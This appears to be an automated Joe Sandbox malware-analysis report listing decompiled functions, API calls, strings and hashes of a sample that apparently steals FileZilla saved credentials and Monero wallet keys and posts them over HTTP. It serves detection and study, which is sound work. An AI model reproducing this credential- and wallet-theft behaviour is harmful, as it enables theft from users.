Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateChangeCloseCreateFindFolderFreeNotificationPathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2695953057-555421843
Opcode ID: 785afe3bd861571a09ce4293b5ef9da51c219e1858db615eb8e625ce4552a08a
Instruction ID: b172dc94a98ff8ec36d3a556e7dc25832a26742cc66c1d277fb95a3f51093079
Opcode Fuzzy Hash: 785afe3bd861571a09ce4293b5ef9da51c219e1858db615eb8e625ce4552a08a
Instruction Fuzzy Hash: 6CD18F71910218ABCB04FBF4EC96EEE77B8AF54701F508498F506B6191EF74AA05CB61

Function 00B15150 Relevance: 51.3, APIs: 19, Strings: 10, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
Part of subcall function 00B14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
Part of subcall function 00B14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

lstrlen.KERNEL32(00000000), ref: 00B151E3

Part of subcall function 00B28940: CryptBinaryToStringA.CRYPT32(00000000,00B151D4,40000001,00000000,00000000), ref: 00B28960

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B15257
StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B15275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B15390
HttpOpenRequestA.WININET(00000000,0074E600,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B153F4

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0074E730,00000000,?,0074A028,00000000,?,00B31980,00000000,?,00B24CAF), ref: 00B15787
lstrlen.KERNEL32(00000000), ref: 00B1579B
GetProcessHeap.KERNEL32(00000000,?), ref: 00B157AC
RtlAllocateHeap.NTDLL(00000000), ref: 00B157B3
lstrlen.KERNEL32(00000000), ref: 00B157C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B157F9
lstrlen.KERNEL32(00000000), ref: 00B15818
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B15831
lstrlen.KERNEL32(00000000,?,?), ref: 00B1585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B15872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B1589D
InternetCloseHandle.WININET(00000000), ref: 00B15901
InternetCloseHandle.WININET(00000000), ref: 00B1590E
InternetCloseHandle.WININET(00000000), ref: 00B15918

Strings

------, xrefs: 00B15549
--, xrefs: 00B152D0
------, xrefs: 00B152E7
0t, xrefs: 00B1572C
", xrefs: 00B15756
", xrefs: 00B15614
------, xrefs: 00B15407
@t, xrefs: 00B154A8
------, xrefs: 00B1568B
", xrefs: 00B154D2

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$0t$@t
API String ID: 1224485577-742573239
Opcode ID: ce97dac19df97ce2e13c6f0a76a3f4048a66b47f31f8886a540ea9a1fc3e05f7
Instruction ID: 7b9d154e8672c2642daa08e8c9e69dec6afbe7cf780bd5d400e83af5aa4e20e8
Opcode Fuzzy Hash: ce97dac19df97ce2e13c6f0a76a3f4048a66b47f31f8886a540ea9a1fc3e05f7
Instruction Fuzzy Hash: 3232D071920128ABDB14EBA0EC95FEEB3B8BF55700F4045D9F10AB2192DF746A48CF65

Function 00B159B0 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
Part of subcall function 00B14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
Part of subcall function 00B14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B15A48
StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B15A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B15BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0074E6A0,00000000,?,0074A028,00000000,?,00B319C0), ref: 00B15EC1
lstrlen.KERNEL32(00000000), ref: 00B15ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00B15EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00B15EEA
lstrlen.KERNEL32(00000000), ref: 00B15EFF
lstrlen.KERNEL32(00000000), ref: 00B15F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B15F41
lstrlen.KERNEL32(00000000,?,?), ref: 00B15F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B15F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00B15F9C
InternetCloseHandle.WININET(00000000), ref: 00B16000
InternetCloseHandle.WININET(00000000), ref: 00B1600D
HttpOpenRequestA.WININET(00000000,0074E600,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B15C48

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

InternetCloseHandle.WININET(00000000), ref: 00B16017

Strings

", xrefs: 00B15D25
------, xrefs: 00B15D9C
", xrefs: 00B15E66
------, xrefs: 00B15AE6
@t, xrefs: 00B15CFC
------, xrefs: 00B15C5B

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$@t
API String ID: 874700897-2946792180
Opcode ID: ac9d8eb9d1ea4611eca18383270cc5662fbc743e7673005c2513d41893bdfa1d
Instruction ID: 84868fc6354e63d3c2a953987c116e25e23e92737225586e3cc35d5ab94c7cc2
Opcode Fuzzy Hash: ac9d8eb9d1ea4611eca18383270cc5662fbc743e7673005c2513d41893bdfa1d
Instruction Fuzzy Hash: ED12DC71820128ABCB15EBA0EC95FEEB3B8BF14700F5041D9B50AB2191EF706B49CF65

Function 00B148D0 Relevance: 32.0, APIs: 11, Strings: 7, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B1483B
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14852
Part of subcall function 00B14800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 00B14869
Part of subcall function 00B14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B14889
Part of subcall function 00B14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B14899

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B14965
StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B1498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B14B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B30DC3,00000000,?,?,00000000,?,",00000000,?,0074E660), ref: 00B14E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B14E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B14E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B14E99
InternetCloseHandle.WININET(00000000), ref: 00B14EFD
InternetCloseHandle.WININET(00000000), ref: 00B14F15
HttpOpenRequestA.WININET(00000000,0074E600,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B14B65

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

InternetCloseHandle.WININET(00000000), ref: 00B14F1F

Strings

", xrefs: 00B14D83
", xrefs: 00B14C42
`t, xrefs: 00B14D5A
------, xrefs: 00B14B78
------, xrefs: 00B14A0D
Pt, xrefs: 00B14C19
------, xrefs: 00B14CB9

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$Pt$`t
API String ID: 460715078-1902833656
Opcode ID: 413814fee104a580757d69074210bf2f2f8b9a83a4fb41823e155452fcb1826e
Instruction ID: af5d306811b582731a9cbed176faf927e2d4cb16f82b22c4eafa41eb29cf14aa
Opcode Fuzzy Hash: 413814fee104a580757d69074210bf2f2f8b9a83a4fb41823e155452fcb1826e
Instruction Fuzzy Hash: 5612DE729102289BCB15EB90EC92FEEB3B9AF15300F5045D9B50A72591EF702F48CF66

Function 00B1A6C0 Relevance: 30.5, APIs: 20, Instructions: 495
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A440: StrCmpCA.SHLWAPI(00748EE0,00B1A6D7,?,00B1A6D7,00748EE0), ref: 00B2A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B1A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 00B1A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B1A7DA

Part of subcall function 00B2A1F0: lstrlen.KERNEL32(00B14F55,?,?,00B14F55,00B30DC6), ref: 00B2A1FB
Part of subcall function 00B2A1F0: lstrcpy.KERNEL32(00B30DC6,00000000), ref: 00B2A255

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

lstrcat.KERNEL32(?,00000000), ref: 00B1AB3A
lstrcat.KERNEL32(?,00B312C4), ref: 00B1AB49
lstrcat.KERNEL32(?,00000000), ref: 00B1AB5C
lstrcat.KERNEL32(?,00B312C8), ref: 00B1AB6B
lstrcat.KERNEL32(?,00000000), ref: 00B1AB7E
lstrcat.KERNEL32(?,00B312CC), ref: 00B1AB8D
lstrcat.KERNEL32(?,00000000), ref: 00B1ABA0
lstrcat.KERNEL32(?,00B312D0), ref: 00B1ABAF
lstrcat.KERNEL32(?,00000000), ref: 00B1ABC2
lstrcat.KERNEL32(?,00B312D4), ref: 00B1ABD1
lstrcat.KERNEL32(?,00000000), ref: 00B1ABE4
lstrcat.KERNEL32(?,00B312D8), ref: 00B1ABF3

Part of subcall function 00B19E60: LocalAlloc.KERNEL32(00000040,?), ref: 00B19EFE

lstrcat.KERNEL32(?,00000000), ref: 00B1AC3C
lstrcat.KERNEL32(?,00B312DC), ref: 00B1AC56
lstrlen.KERNEL32(?), ref: 00B1AC95
lstrlen.KERNEL32(?), ref: 00B1ACA4

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

DeleteFileA.KERNEL32(00000000), ref: 00B1AD1F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcess
String ID:
API String ID: 1656385275-0
Opcode ID: 7130daf5021469f09b861893f1bd4ed7fffd845db429f5aa51c06babdce0c0fe
Instruction ID: 2cc96fe6b2773d34dea95c591303a3914514adfdfdf33365bdacc98c9a864f06
Opcode Fuzzy Hash: 7130daf5021469f09b861893f1bd4ed7fffd845db429f5aa51c06babdce0c0fe
Instruction Fuzzy Hash: B10242719102189BCB04EBA0ED96EEE77B8AF54301F504598F50BB6191DE70BE58CB72

Function 00B1CD30 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B28600: GetSystemTime.KERNEL32(00B30E02,0074A1D8,00B3059E,?,?,00B113F9,?,0000001A,00B30E02,00000000,?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B28626

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B1CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B1CF07
RtlAllocateHeap.NTDLL(00000000), ref: 00B1CF0E
lstrcat.KERNEL32(?,00000000), ref: 00B1D048
lstrcat.KERNEL32(?,00B3141C), ref: 00B1D057
lstrcat.KERNEL32(?,00000000), ref: 00B1D06A
lstrcat.KERNEL32(?,00B31420), ref: 00B1D079
lstrcat.KERNEL32(?,00000000), ref: 00B1D08C
lstrcat.KERNEL32(?,00B31424), ref: 00B1D09B
lstrcat.KERNEL32(?,00000000), ref: 00B1D0AE
lstrcat.KERNEL32(?,00B31428), ref: 00B1D0BD
lstrcat.KERNEL32(?,00000000), ref: 00B1D0D0
lstrcat.KERNEL32(?,00B3142C), ref: 00B1D0DF
lstrcat.KERNEL32(?,00000000), ref: 00B1D0F2
lstrcat.KERNEL32(?,00B31430), ref: 00B1D101
lstrcat.KERNEL32(?,00000000), ref: 00B1D114
lstrcat.KERNEL32(?,00B31434), ref: 00B1D123

Part of subcall function 00B2A1F0: lstrlen.KERNEL32(00B14F55,?,?,00B14F55,00B30DC6), ref: 00B2A1FB
Part of subcall function 00B2A1F0: lstrcpy.KERNEL32(00B30DC6,00000000), ref: 00B2A255

lstrlen.KERNEL32(?), ref: 00B1D16A
lstrlen.KERNEL32(?), ref: 00B1D179

Part of subcall function 00B2A440: StrCmpCA.SHLWAPI(00748EE0,00B1A6D7,?,00B1A6D7,00748EE0), ref: 00B2A45F

DeleteFileA.KERNEL32(00000000), ref: 00B1D1F4

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
